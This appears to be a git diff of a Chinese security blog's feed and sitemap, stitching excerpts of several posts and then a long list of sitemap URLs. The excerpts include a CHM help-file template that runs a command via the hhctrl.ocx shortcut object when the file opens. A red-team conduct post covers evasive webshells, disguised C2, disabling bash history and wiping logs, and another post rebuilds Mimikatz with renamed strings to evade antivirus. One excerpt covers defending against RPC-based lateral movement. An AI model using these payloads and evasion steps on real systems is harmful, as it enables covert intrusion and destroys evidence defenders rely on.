CHM文件可以通过hh.exe进行反编译: +1 hh.exe -decompile %temp% payload.chm 如何构建CHM文件? 可以使用Microsoft HTML Help Workshop工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息: +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 &lt;html&gt; &lt;head&gt; &lt;OBJECT id=&#34;Test&#34; type=&#34;application/x-oleobject&#34; classid=&#34;clsid:52a2aaae-085d-4187-97ea-8c30db990436&#34; codebase=&#34;hhctrl.ocx#Version=5,02,3790,1194&#34; width=&#34;1&#34; height=&#34;1&#34;&gt; &lt;PARAM name=&#34;Command&#34; value=&#34;ShortCut&#34;&gt; &lt;PARAM name=&#34;Button&#34; value=&#34;Bitmap:shortcut&#34;&gt; &lt;PARAM name=&#34;Item1&#34; value=&#34;,cmd.exe, /c calc.exe&#34;&gt; &lt;PARAM name=&#34;Item2&#34; value=&#34;273,1,1&#34;&gt; &lt;/object&gt; &lt;script&gt; Test.HHClick(); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Hello&lt;/h1&gt; &lt;/body&gt; &lt;/html&gt; 在这段代码中,调用了hhctrl.ocxCOM组件,该组件的方法可以执行命令: +COM组件方法列表:CLSID 52A2AAAE-085D-4187-97EA-8C30DB990436 | HHCtrl Object | STRONTICVsCode扩展中的DLL注入器https://payloads.online/archivers/2023-09-08/vscode-dll/Fri, 08 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-08/vscode-dll/安装完毕Python调试扩展后,会在扩展目录中生成一些文件: +其中以下两个文件是DLL注入器,分别对应X86和X64位操作系统: +inject_dll_x86.exe inject_dll_amd64.exe 在windows文件夹中还保留了注入器的源代码: +路径:C:\Users\Administrator\.vscode\extensions\ms-python.python-2022.20.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\pydevd_attach_to_process\windows +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 // inject_dll.红队行动守则https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/Thu, 10 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/ 攻击注意事项 使用免杀Webshell(文件特征、流量特征),禁止使用开源社区通用Webshell,这些是我过去常用的Webshell: https://github.com/Rvn0xsy/usefull-code 尽可能的删除依赖工具的软件特征、流量特征 打点后先进行权限维持(并且最好都额外打一个内存马) 原因:单个Webshell即使免杀,也有可能被防守方发现,一旦被删除就失去了服务器控制权 不执行敏感的操作(如反弹Shell) 获取权限后的信息收集,通过网络、应用业务、服务器登录日志、命令执行日志判断当前机器是否是蜜罐 核心关键隧道:使用规避内存扫描的C2解决方案 端口反连使用常见端口,伪装正常应用流量(25,110,80,443,993,995,8080,8443) C2基础设施配置为HTTPS/DNS上线,最好勿用HTTP,证书采用CDN服务商或Let’s Encrypt 搭建正向的Web代理后,应当先研究如何提升隧道传输质量,避免多人扫描 Web正向代理的思考 | 倾旋的博客 +内网探测工具的选择尽可能脚本化、去特征、低频率 隧道建立:采用开源魔改工具实现,避免流量和样本特征与公开的重合 弱口令扫描:低频、小字典、优先尝试SSH/RDP/MySQL/MSSQL等弱口令(分两类:有数据的服务器、有管理端口的服务器) 登录Linux服务器,应当避免Bash History被记录可使用sh来执行命令,或设置环境变量避免Bash记录历史命令。 1 2 3 4 5 6 python -c &#39;import pty;pty.spawn(&#34;/bin/sh&#34;)&#39; # or unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 操作合规:非必要情况下,不修改任何服务器用户密码 操作合规:非必要情况下,不使用破坏性较强的Exploit或者工具 操作合规:非必要情况下,不要对内网进行大规模探测 例如不要/8 操作合规:非必要情况下,切勿上来就进行扫描探测,先应对当前主机做详细的信息搜集和分析 工具存放:工具统一存放在隐藏目录下,文件名称命名为服务进程(tomcat/nginx)等,有AV/EDR情况,工具应先本地测试免杀之后,再落地到目标服务器,最好有多个平替工具 反溯源注意事项 外网攻击时:尽量使用虚拟机进行渗透,并且测试时不提交包含个人特征信息的手机号码、QQ、微信、其他信息,最好日常工作的浏览器和渗透攻击的浏览器用两个。一般我会创建攻击机的虚拟机快照,项目结束恢复初始状态,干干净净。 内网攻击时:攻击结束必须进行痕迹清理,及时删除自用软件,如Webshell、免杀上线马、0day工具、扫描工具、自研工具,甚至包含系统日志。 短线社工钓鱼:尽量避开技术人员,从非技术人员入手,钓鱼信息为非实名信息 短线社工钓鱼:远程获取的可执行文件,谨慎点击(尤其是VPN客户端,谨防蜜罐),可以上传各类沙箱进行检测,同时运行可以采用虚拟机的方式。 在开源社区获得系统或工具源代码后,谨慎打开,防止IDE的编译、加载、调试选项内藏上线命令。 职业操守 禁止下载、更改业务数据(企业数据),修改业务系统密码(如路由器、Web站点后台、VPN)降低业务影响。 禁止使用会造成不良后果的攻击方式(如DDOS攻击)。 测试结束后删除Webshell等恶意文件或记住固定存放位置。 禁止使用境外跳板机、VPN。 使用统一攻击资源与授权攻击工具。 对项目、行动内容在公开场合进行保密,不产生任何舆论影响。记录一下配置Clash透明代理https://payloads.online/archivers/2023-08-07/clash-config/Mon, 07 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-07/clash-config/📝Clash是什么? https://github.com/Dreamacro/clash +Clash是一个支持多种协议隧道转发的工具,主要功能如下: +Inbound: HTTP, HTTPS, SOCKS5 server, TUN device Outbound: Shadowsocks(R), VMess, Trojan, Snell, SOCKS5, HTTP(S), Wireguard Rule-based Routing: dynamic scripting, domain, IP addresses, process name and more Fake-IP DNS: minimises impact on DNS pollution and improves network performance Transparent Proxy: Redirect TCP and TProxy TCP/UDP with automatic route table/rule management Proxy Groups: automatic fallback, load balancing or latency testing Remote Providers: load remote proxy lists dynamically RESTful API: update configuration in-place via a comprehensive API 目前作者还在维护高级核心版(免费),为了尝试支持更多功能。使用Appveyor构建VS项目-快速编译https://payloads.online/archivers/2023-07-23/appveyor/Sun, 23 Jul 2023 00:00:00 +0000https://payloads.online/archivers/2023-07-23/appveyor/前言 Appveyor简介 我们为Windows开发人员提供持续集成工具。该服务是免费提供给开源项目使用的,我们为私有项目提供订阅服务,并在客户现场提供AppVeyor企业安装服务。 +迄今为止,已有超过50,000名开发人员使用了AppVeyor,并运行了超过1000万次构建。AppVeyor受到微软、谷歌、Facebook、Mozilla、Slack、GitHub等公司的信任。 +About | AppVeyor +构建Github项目 AppVeyor提供了它特有的配置文件用于声明构建动作,开发者可以通过编写AppVeyor配置文件来控制程序的发布流程。 +这里只讨论没有AppVeyor配置文件的项目,以https://github.com/goldshtn/etrace为例,etrace是一个命令行工具,用于实时跟踪 ETW 事件和 处理现有的 .etl 录制文件。它的灵感来自Microsoft ELT工具。 +该项目没有AppVeyor配置文件,首先Fork这个项目到自己账户名下,然后访问https://www.appveyor.com/,以Github账户登录,并且授权读取此仓库。 +在Github这一栏可以看到授权的仓库,点击 +ADD 就可以进入项目的构建配置界面: +由于这个项目是采用C#开发的,所以我们着重关注C#相关的配置: +在Before build script中输入如下命令,会在开始编译之前去下载这个项目所依赖的库: +1 nuget restore 在开发.NET应用程序时,通常会使用NuGet来管理项目所依赖的第三方库和组件。NuGet是.NET生态系统中最受欢迎的包管理器之一,它提供了一个中央存储库,开发人员可以从中获取各种软件包和库。 +&ldquo;nuget restore&quot;命令会读取项目文件(.csproj或.vbproj)中的依赖关系,并下载或还原所需的NuGet包,以确保项目可以成功编译和构建。这个命令通常在CI/CD(持续集成/持续交付)过程中使用,以确保在构建项目之前,所有的依赖关系都被正确地还原和安装。 +除此之外,还可以在环境配置中设置安装开发库的命令: +最后一步就是设置二进制文件打包了,点击artifacts,可以配置要打包的路径,必须是相对路径,C#的程序一般会将二进制文件生成到bin目录下,所以我这里就写:etrace\bin +保存后,回到项目页面,点击Start New Build就开始构建了: +稍微等待一下,就可以看到构建好的程序了,直接下载就可以使用。 +使用AppVeyor构建Mimikatz Mimikatz是gentilkiwi使用C语言开发的Windows安全工具,该工具有着丰富的功能,能过从内存中提取明文密码,哈希,PIN码和kerberos票据、哈希传递等等,随着越来越多的黑客滥用此工具进行一些非法活动,因此gentilkiwi每发布一个Release,Release中的Mimikatz样本就会被标记为黑客工具,这对红队带来了一些小麻烦,通过AppVeyor我们可以自动化的做一些静态特征处理,然后自动构建产生新的工具。 +gentilkiwi已经在Mimikatz项目中内置了一个AppVeyor的配置文件,这个配置文件会随着项目改动自动触发AppVeyor的构建流程。 +我们要做的就是先Fork一份Mimikatz到自己的项目中,然后开始修改AppVeyor配置文件: +这里我只是做了一个工作,就是将代码中的所有Mimikatz字符串替换为aabbcc,当然还可以做很多其它的替换操作。 +1 2 3 4 5 6 7 8 9 10 11 12 13 14 ls; Copy-Item C:\projects\mimikatz\mimikatz\mimikatz.ico C:\projects\mimikatz\mimikatz\aabbcc.ico; (Get-ChildItem -Path &#34;.&#34; -Recurse -File -Include *.h,*.c,*.vcxproj,*.rc) | ForEach-Object { $newFileName = $_.常用软件记录https://payloads.online/archivers/2023-07-19/useful-software/Wed, 19 Jul 2023 00:00:00 +0000https://payloads.online/archivers/2023-07-19/useful-software/操作系统-[镜像] Windows: MSDN-ItellYou \ ✨LTSC 系统比较纯净 推荐使用LTSC版本的操作系统,系统比较纯净,但需要激活 +Linux: Arch Linux / Ubuntu 比较推荐直接去一些软件源上下载,这里举例清华源 +操作系统工具-[Linux] 文档处理:WPS Office、Mousepad 输入法:Fctix5 … https://github.com/Rvn0xsy/pacman-pkg 软件中心 腾讯软件中心 无广告和捆绑 软件分析 CFF Explorer PE文件解析 IDA 二进制文件分析 Dnspy C#程序反汇编分析 X64Dbg Windows二进制文件分析 浏览器插件 ✨TamperMonkey 油猴插件 ✨AdGuard 拦截广告 ✨Proxy SwitchyOmega 代理切换 ✨Bitwarden 密码管理器 ✨Wappalyzer 分析网站所使用的组件 影视资源 BT之家:btbtt15[.]com 樱花动漫:yinghuadongman[.]me 操作系统工具-[Windows] 备忘录:✨Notion 聊天工具:微信、Slack、✨飞书 电子邮件:Foxmail 文档处理:Microsoft Office、wps 密码管理:✨Bitwarden 浏览器:Google Chrome、✨Microsoft Edge 视频会议:✨腾讯会议 Microsoft To Do待办提醒:✨To Do 文件查找搜索:Everything 抓包分析:Wireshark \ ✨[镜像]Wireshark 镜像下载较快 \ Burpsuite 代码编辑器:VSCode[加速下载]改变官网地址主地址为: vscode.使用RPC Filter技术防御内网RPC横向攻击https://payloads.online/archivers/2022-10-23/1/Sun, 23 Oct 2022 00:00:00 +0000https://payloads.online/archivers/2022-10-23/1/前言 Impacket工具包中所包含的内网横向技术大多都是依赖于RPC协议的,但对于RPC协议的攻击防御除了网络流量侧的检测识别以外,还可以通过Windows 内置的WFP(Windows Filtering Platform)技术。 这里提一下,流量测如何分析并防御impacket内网横向:https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/ 关于RPC的攻击技术及漏洞整理了以下部分,使用RPC Filter可以达到阻断漏洞被利用和攻击的效果: impacket-atexec 通过SMB协议认证,利用MS-TSCH RPC协议服务注册任务计划进行横向移动。 impacket-psexec 通过SMB协议认证,利用MS-SCMR RPC协议注册系统服务进行横向移动。 impacket-dcomexec 通过SMB认证,利用MS-DCOM RPC协议调用COM组件执行横向移动。 impacket-wmiexec 通过SMB认证,利用MS-DCOM RPC协议调用COM组件执行横向移动。 大名鼎鼎的PetitPotam CVE-2021-36942 利用MS-EFSRPC协议让服务器访问攻击者构造的地址进行NTLM重定向攻击。 PrintNightmare Windows Print Spooler权限提升漏洞(CVE-2021-1675),利用MS-RPRN进行提权,其原理也是通过调用RPC接口,让服务器访问特定的路径。 除了这类漏洞的利用,还有大部分的土豆提全系列都有使用到RPC接口,让系统SYSTEM特权进程访问攻击者构造的管道,然后进行令牌模拟,达到窃取Token然后提权的目的。 什么是WFP? Windows Filtering Platform (WFP) is a network traffic processing platform designed to replace the Windows XP and Windows Server 2003 network traffic filtering interfaces. WFP consists of a set of hooks into the network stack and a filtering engine that coordinates network stack interactions.我的三年红队生涯总结https://payloads.online/archivers/2022-09-19/1/Mon, 19 Sep 2022 00:00:00 +0000https://payloads.online/archivers/2022-09-19/1/兴趣可以持续多久? 在公司的某天有幸帮助公司的一级部门去给某学院的学生分享了一堂课,主要是关于自学安全的话题。开始的时候分享了我的一些学习经历,我发现总结不出来如何培养自己的自学能力,因为第一个大前提:我做的是我热爱的事情,在年龄很小的时候就找到了自己喜欢的事情,为此愿意花大量的时间去探索技术,不断的学习。 diff --git a/sitemap.xml b/sitemap.xml index ce5517e..3075457 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -1 +1 @@ -https://payloads.online/posts/2022-10-23T00:00:00+00:00https://payloads.online/archivers/2022-10-23/1/2022-10-23T00:00:00+00:00https://payloads.online/2022-10-23T00:00:00+00:00https://payloads.online/archivers/2022-09-19/1/2022-09-19T00:00:00+00:00https://payloads.online/archivers/2022-09-03/1/2022-09-03T00:00:00+00:00https://payloads.online/archivers/2022-08-17/1/2022-08-17T00:00:00+00:00https://payloads.online/archivers/2022-08-11/1/2022-08-11T17:23:32+08:00https://payloads.online/archivers/2022-03-04/1/2022-03-04T17:23:32+08:00https://payloads.online/archivers/2022-03-01/1/2022-03-01T17:23:32+08:00https://payloads.online/archivers/2022-02-16/1/2022-02-16T17:23:32+08:00https://payloads.online/archivers/2021-12-01/1/2021-12-01T00:37:56+08:00https://payloads.online/archivers/2021-11-23/1/2021-11-23T10:10:08+08:00https://payloads.online/archivers/2021-09-13/1/2021-09-13T10:10:08+08:00https://payloads.online/archivers/2021-09-03/1/2021-09-03T10:10:08+08:00https://payloads.online/archivers/2021-08-30/2/2021-08-30T00:00:00+00:00https://payloads.online/archivers/2021-08-11/1/2021-08-11T00:00:00+00:00https://payloads.online/archivers/2021-07-20/1/2021-07-20T00:00:00+00:00https://payloads.online/archivers/2021-02-16/1/2021-02-16T00:00:00+00:00https://payloads.online/archivers/2021-02-09/1/2021-02-09T00:00:00+00:00https://payloads.online/archivers/2021-02-08/1/2021-02-08T00:00:00+00:00https://payloads.online/archivers/2021-01-31/1/2021-01-31T00:00:00+00:00https://payloads.online/archivers/2020-11-29/2/2020-11-29T00:00:00+00:00https://payloads.online/archivers/2020-11-29/1/2020-11-29T00:00:00+00:00https://payloads.online/archivers/2020-11-13/1/2020-11-13T00:00:00+00:00https://payloads.online/archivers/2020-11-01/1/2020-11-01T00:00:00+00:00https://payloads.online/archivers/2020-10-23/1/2020-10-23T00:00:00+00:00https://payloads.online/archivers/2020-08-24/1/2020-08-24T00:00:00+00:00https://payloads.online/archivers/2020-07-16/1/2020-07-16T00:00:00+00:00https://payloads.online/archivers/2020-06-28/1/2020-06-28T00:00:00+00:00https://payloads.online/archivers/2020-04-02/1/2020-04-02T00:00:00+00:00https://payloads.online/archivers/2020-03-21/2/2020-03-21T00:00:00+00:00https://payloads.online/archivers/2020-03-21/1/2020-03-21T00:00:00+00:00https://payloads.online/archivers/2020-03-02/4/2020-03-02T00:00:00+00:00https://payloads.online/archivers/2020-03-02/5/2020-03-02T00:00:00+00:00https://payloads.online/archivers/2020-03-02/3/2020-03-02T00:00:00+00:00https://payloads.online/archivers/2020-03-02/2/2020-03-02T00:00:00+00:00https://payloads.online/archivers/2020-03-02/1/2020-03-02T00:00:00+00:00https://payloads.online/archivers/2020-02-05/1/2020-02-05T00:00:00+00:00https://payloads.online/archivers/2020-01-25/1/2020-01-25T00:00:00+00:00https://payloads.online/archivers/2020-01-02/1/2020-01-02T00:00:00+00:00https://payloads.online/archivers/2020-01-01/1/2020-01-01T00:00:00+00:00https://payloads.online/archivers/2020-01-01/2/2020-01-01T00:00:00+00:00https://payloads.online/archivers/2020-01-01/3/2020-01-01T00:00:00+00:00https://payloads.online/archivers/2019-11-10/1/2019-11-10T00:00:00+00:00https://payloads.online/archivers/2019-11-10/3/2019-11-10T00:00:00+00:00https://payloads.online/archivers/2019-11-10/2/2019-11-10T00:00:00+00:00https://payloads.online/archivers/2019-11-10/5/2019-11-10T00:00:00+00:00https://payloads.online/archivers/2019-11-10/4/2019-11-10T00:00:00+00:00https://payloads.online/categories/2019-10-02T00:00:00+00:00https://payloads.online/archivers/2019-10-02/1/2019-10-02T00:00:00+00:00https://payloads.online/categories/windows%E7%BC%96%E7%A8%8B%E6%8A%80%E6%9C%AF/2019-10-02T00:00:00+00:00https://payloads.online/archivers/2019-05-09/1/2019-05-09T00:00:00+00:00https://payloads.online/categories/%E9%AB%98%E6%95%88/2019-05-09T00:00:00+00:00https://payloads.online/archivers/2019-04-24/1/2019-04-24T00:00:00+00:00https://payloads.online/archivers/2019-04-24/3/2019-04-24T00:00:00+00:00https://payloads.online/archivers/2019-04-24/2/2019-04-24T00:00:00+00:00https://payloads.online/archivers/2019-04-24/4/2019-04-24T00:00:00+00:00https://payloads.online/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/2019-04-24T00:00:00+00:00https://payloads.online/archivers/2019-04-13/1/2019-04-13T00:00:00+00:00https://payloads.online/archivers/2019-04-08/1/2019-04-08T00:00:00+00:00https://payloads.online/categories/%E7%94%9F%E6%B4%BB/2019-04-08T00:00:00+00:00https://payloads.online/archivers/2019-04-02/2/2019-04-02T00:00:00+00:00https://payloads.online/archivers/2019-04-02/1/2019-04-02T00:00:00+00:00https://payloads.online/archivers/2019-03-16/1/2019-03-30T00:00:00+00:00https://payloads.online/archivers/2019-03-30/2/2019-03-30T00:00:00+00:00https://payloads.online/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/2019-03-30T00:00:00+00:00https://payloads.online/archivers/2019-03-14/1/2019-03-14T00:00:00+00:00https://payloads.online/categories/windows/2019-03-14T00:00:00+00:00https://payloads.online/categories/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/2019-02-23T00:00:00+00:00https://payloads.online/archivers/2019-02-23/1/2019-02-23T00:00:00+00:00https://payloads.online/archivers/2019-01-31/1/2019-01-31T00:00:00+00:00https://payloads.online/archivers/2019-01-26/2/2019-01-26T00:00:00+00:00https://payloads.online/archivers/2019-01-26/1/2019-01-26T00:00:00+00:00https://payloads.online/archivers/2018-18-31/2018-12-31T00:00:00+00:00https://payloads.online/archivers/2018-12-22/1/2018-12-22T00:00:00+00:00https://payloads.online/categories/c++/c/2018-12-21T00:00:00+00:00https://payloads.online/archivers/2018-12-21/1/2018-12-21T00:00:00+00:00https://payloads.online/categories/c/c++/2018-12-20T00:00:00+00:00https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/2018-12-20T00:00:00+00:00https://payloads.online/archivers/2018-12-20/windows-FileMapping/2018-12-20T00:00:00+00:00https://payloads.online/archivers/2018-12-20/1/2018-12-20T00:00:00+00:00https://payloads.online/archivers/2018-12-19/linux-privilege/2018-12-19T00:00:00+00:00https://payloads.online/archivers/2018-12-19/1/2018-12-19T00:00:00+00:00https://payloads.online/archivers/2018-12-18/6/2018-12-18T00:00:00+00:00https://payloads.online/archivers/2018-12-18/2/2018-12-18T00:00:00+00:00https://payloads.online/archivers/2018-12-18/1/2018-12-15T00:00:00+00:00https://payloads.online/archivers/2018-12-06/1/2018-12-05T00:00:00+00:00https://payloads.online/archivers/2018-11-30/1/2018-11-30T00:00:00+00:00https://payloads.online/archivers/2018-11-26/1/2018-11-26T00:00:00+00:00https://payloads.online/archivers/2018-11-04/1/2018-11-04T00:00:00+00:00https://payloads.online/categories/web%E5%AE%89%E5%85%A8/2018-11-04T00:00:00+00:00https://payloads.online/archivers/2018-10-30/1/2018-10-30T00:00:00+00:00https://payloads.online/archivers/2018-10-19/1/2018-10-19T00:00:44+00:00https://payloads.online/archivers/2018-10-14/1/2018-10-13T00:00:00+00:00https://payloads.online/archivers/2018-10-08/1/2018-10-08T00:00:00+00:00https://payloads.online/archivers/2018-08-16/1/2018-08-16T00:00:00+00:00https://payloads.online/archivers/2018-08-15/1/2018-08-15T00:00:00+00:00https://payloads.online/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/2018-08-15T00:00:00+00:00https://payloads.online/archivers/2018-08-03/2/2018-08-03T00:00:00+00:00https://payloads.online/categories/nmap/2018-07-27T00:00:00+00:00https://payloads.online/archivers/2018-07-27/1/2018-07-27T00:00:00+00:00https://payloads.online/archivers/2018-06-09/1/2018-06-09T00:00:00+00:00https://payloads.online/archivers/2018-05-02/1/2018-05-02T00:00:00+00:00https://payloads.online/archivers/2018-04-20/1/2018-04-20T00:00:00+00:00https://payloads.online/archivers/2018-03-27/1/2018-03-27T00:00:00+00:00https://payloads.online/categories/linux/2018-03-20T00:00:00+00:00https://payloads.online/archivers/2018-03-20/1/2018-03-20T00:00:00+00:00https://payloads.online/archivers/2018-03-18/1/2018-03-18T00:00:00+00:00https://payloads.online/archivers/2015-11-20/2/2018-03-16T00:00:00+00:00https://payloads.online/categories/%E7%BD%91%E7%BB%9C%E5%B7%A5%E7%A8%8B/2018-03-16T00:00:00+00:00https://payloads.online/archivers/2018-03-04/1/2018-03-04T00:00:00+00:00https://payloads.online/archivers/2018-01-30/1/2018-01-30T00:00:00+00:00https://payloads.online/archivers/2018-01-22/1/2018-01-22T00:00:00+00:00https://payloads.online/archivers/2017-12-28/1/2017-12-28T00:00:00+00:00https://payloads.online/archivers/2017-11-22/1/2017-11-22T00:00:00+00:00https://payloads.online/categories/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/2017-11-22T00:00:00+00:00https://payloads.online/archivers/2017-11-21/1/2017-11-21T00:00:00+00:00https://payloads.online/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/2017-11-21T00:00:00+00:00https://payloads.online/archivers/2017-11-14/1/2017-11-14T00:00:00+00:00https://payloads.online/tools/socat/2017-11-09T00:00:00+00:00https://payloads.online/archivers/2017-11-08/1/2017-11-08T00:00:00+00:00https://payloads.online/archivers/2017-08-21/1/2017-08-21T00:00:00+00:00https://payloads.online/archivers/2017-08-18/1/2017-08-18T00:00:00+00:00https://payloads.online/archivers/2017-08-07/1/2017-08-07T00:00:00+00:00https://payloads.online/archivers/2017-07-31/1/2017-07-31T00:00:00+00:00https://payloads.online/archivers/2017-06-08/2/2017-06-08T00:00:00+00:00https://payloads.online/archivers/2017-06-05/1/2017-06-05T00:00:00+00:00https://payloads.online/archivers/nmap-write-script/2017-06-02T00:00:00+00:00https://payloads.online/archivers/2017-03-05/1/2017-03-23T00:00:00+00:00https://payloads.online/archivers/2017-03-10/2/2017-03-13T00:00:00+00:00https://payloads.online/archivers/2017-03-10/1/2017-03-07T00:00:00+00:00https://payloads.online/archivers/2017-03-06/1/2017-03-06T00:00:00+00:00https://payloads.online/archivers/2017-03-05/1/2017-03-05T00:00:00+00:00https://payloads.online/archivers/2015-11-23/1/2015-11-23T00:00:00+00:00https://payloads.online/archivers/2015-11-20/6/2015-11-20T00:00:00+00:00https://payloads.online/archivers/2015-11-20/5/2015-11-20T00:00:00+00:00https://payloads.online/archivers/2015-11-20/1/2015-11-20T00:00:00+00:00https://payloads.online/archivers/2015-11-20/4/2015-11-20T00:00:00+00:00https://payloads.online/archivers/2015-11-20/3/2015-11-20T00:00:00+00:00https://payloads.online/about/https://payloads.online/readme/https://payloads.online/about/https://payloads.online/courses/https://payloads.online/categories/link/https://payloads.online/projects/https://payloads.online/tags/https://payloads.online/links/https://payloads.online/message/https://payloads.online/sponsor/ \ No newline at end of file +https://payloads.online/tags/ai%E7%9B%B8%E5%85%B3/2024-06-04T00:00:00+00:00https://payloads.online/posts/2024-06-04T00:00:00+00:00https://payloads.online/tags/2024-06-04T00:00:00+00:00https://payloads.online/archivers/2024-06-04/coze-ai/2024-06-04T00:00:00+00:00https://payloads.online/2024-06-04T00:00:00+00:00https://payloads.online/archivers/2023-12-29/year-end-summary/2023-12-29T00:00:00+00:00https://payloads.online/tags/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94/2023-12-29T00:00:00+00:00https://payloads.online/archivers/2023-10-31/good-habits/2023-10-31T00:00:00+00:00https://payloads.online/tags/phishing/2023-09-18T00:00:00+00:00https://payloads.online/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/2023-09-18T00:00:00+00:00https://payloads.online/archivers/2023-09-18/code-auditing/2023-09-18T00:00:00+00:00https://payloads.online/archivers/2023-09-18/phishing/2023-09-18T00:00:00+00:00https://payloads.online/tags/vscode/2023-09-08T00:00:00+00:00https://payloads.online/archivers/2023-09-08/vscode-dll/2023-09-08T00:00:00+00:00https://payloads.online/tags/redteam/2023-08-10T00:00:00+00:00https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/2023-08-10T00:00:00+00:00https://payloads.online/tags/clash/2023-08-07T00:00:00+00:00https://payloads.online/archivers/2023-08-07/clash-config/2023-08-07T00:00:00+00:00https://payloads.online/tags/appveyor/2023-07-23T00:00:00+00:00https://payloads.online/archivers/2023-07-23/appveyor/2023-07-23T00:00:00+00:00https://payloads.online/tags/useful-software/2023-07-19T00:00:00+00:00https://payloads.online/archivers/2023-07-19/useful-software/2023-07-19T00:00:00+00:00https://payloads.online/archivers/2022-10-23/1/2022-10-23T00:00:00+00:00https://payloads.online/archivers/2022-09-19/1/2022-09-19T00:00:00+00:00https://payloads.online/archivers/2022-09-03/1/2022-09-03T00:00:00+00:00https://payloads.online/archivers/2022-08-17/1/2022-08-17T00:00:00+00:00https://payloads.online/archivers/2022-08-11/1/2022-08-11T17:23:32+08:00https://payloads.online/archivers/2022-03-04/1/2022-03-04T17:23:32+08:00https://payloads.online/archivers/2022-03-01/1/2022-03-01T17:23:32+08:00https://payloads.online/archivers/2022-02-16/1/2022-02-16T17:23:32+08:00https://payloads.online/archivers/2021-12-01/1/2021-12-01T00:37:56+08:00https://payloads.online/archivers/2021-11-23/1/2021-11-23T10:10:08+08:00https://payloads.online/archivers/2021-09-13/1/2021-09-13T10:10:08+08:00https://payloads.online/archivers/2021-09-03/1/2021-09-03T10:10:08+08:00https://payloads.online/archivers/2021-08-30/2/2021-08-30T00:00:00+00:00https://payloads.online/archivers/2021-08-11/1/2021-08-11T00:00:00+00:00https://payloads.online/archivers/2021-07-20/1/2021-07-20T00:00:00+00:00https://payloads.online/archivers/2021-02-16/1/2021-02-16T00:00:00+00:00https://payloads.online/archivers/2021-02-09/1/2021-02-09T00:00:00+00:00https://payloads.online/archivers/2021-02-08/1/2021-02-08T00:00:00+00:00https://payloads.online/archivers/2021-01-31/1/2021-01-31T00:00:00+00:00https://payloads.online/archivers/2020-11-29/2/2020-11-29T00:00:00+00:00https://payloads.online/archivers/2020-11-29/1/2020-11-29T00:00:00+00:00https://payloads.online/archivers/2020-11-13/1/2020-11-13T00:00:00+00:00https://payloads.online/archivers/2020-11-01/1/2020-11-01T00:00:00+00:00https://payloads.online/archivers/2020-10-23/1/2020-10-23T00:00:00+00:00https://payloads.online/archivers/2020-08-24/1/2020-08-24T00:00:00+00:00https://payloads.online/archivers/2020-07-16/1/2020-07-16T00:00:00+00:00https://payloads.online/archivers/2020-06-28/1/2020-06-28T00:00:00+00:00https://payloads.online/archivers/2020-04-02/1/2020-04-02T00:00:00+00:00https://payloads.online/archivers/2020-03-21/2/2020-03-21T00:00:00+00:00https://payloads.online/archivers/2020-03-21/1/2020-03-21T00:00:00+00:00https://payloads.online/archivers/2020-03-02/4/2020-03-02T00:00:00+00:00https://payloads.online/archivers/2020-03-02/5/2020-03-02T00:00:00+00:00https://payloads.online/archivers/2020-03-02/3/2020-03-02T00:00:00+00:00https://payloads.online/archivers/2020-03-02/2/2020-03-02T00:00:00+00:00https://payloads.online/archivers/2020-03-02/1/2020-03-02T00:00:00+00:00https://payloads.online/archivers/2020-02-05/1/2020-02-05T00:00:00+00:00https://payloads.online/archivers/2020-01-25/1/2020-01-25T00:00:00+00:00https://payloads.online/archivers/2020-01-02/1/2020-01-02T00:00:00+00:00https://payloads.online/archivers/2020-01-01/1/2020-01-01T00:00:00+00:00https://payloads.online/archivers/2020-01-01/2/2020-01-01T00:00:00+00:00https://payloads.online/archivers/2020-01-01/3/2020-01-01T00:00:00+00:00https://payloads.online/archivers/2019-11-10/1/2019-11-10T00:00:00+00:00https://payloads.online/archivers/2019-11-10/3/2019-11-10T00:00:00+00:00https://payloads.online/archivers/2019-11-10/2/2019-11-10T00:00:00+00:00https://payloads.online/archivers/2019-11-10/5/2019-11-10T00:00:00+00:00https://payloads.online/archivers/2019-11-10/4/2019-11-10T00:00:00+00:00https://payloads.online/categories/2019-10-02T00:00:00+00:00https://payloads.online/archivers/2019-10-02/1/2019-10-02T00:00:00+00:00https://payloads.online/categories/windows%E7%BC%96%E7%A8%8B%E6%8A%80%E6%9C%AF/2019-10-02T00:00:00+00:00https://payloads.online/archivers/2019-05-09/1/2019-05-09T00:00:00+00:00https://payloads.online/categories/%E9%AB%98%E6%95%88/2019-05-09T00:00:00+00:00https://payloads.online/archivers/2019-04-24/1/2019-04-24T00:00:00+00:00https://payloads.online/archivers/2019-04-24/3/2019-04-24T00:00:00+00:00https://payloads.online/archivers/2019-04-24/2/2019-04-24T00:00:00+00:00https://payloads.online/archivers/2019-04-24/4/2019-04-24T00:00:00+00:00https://payloads.online/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%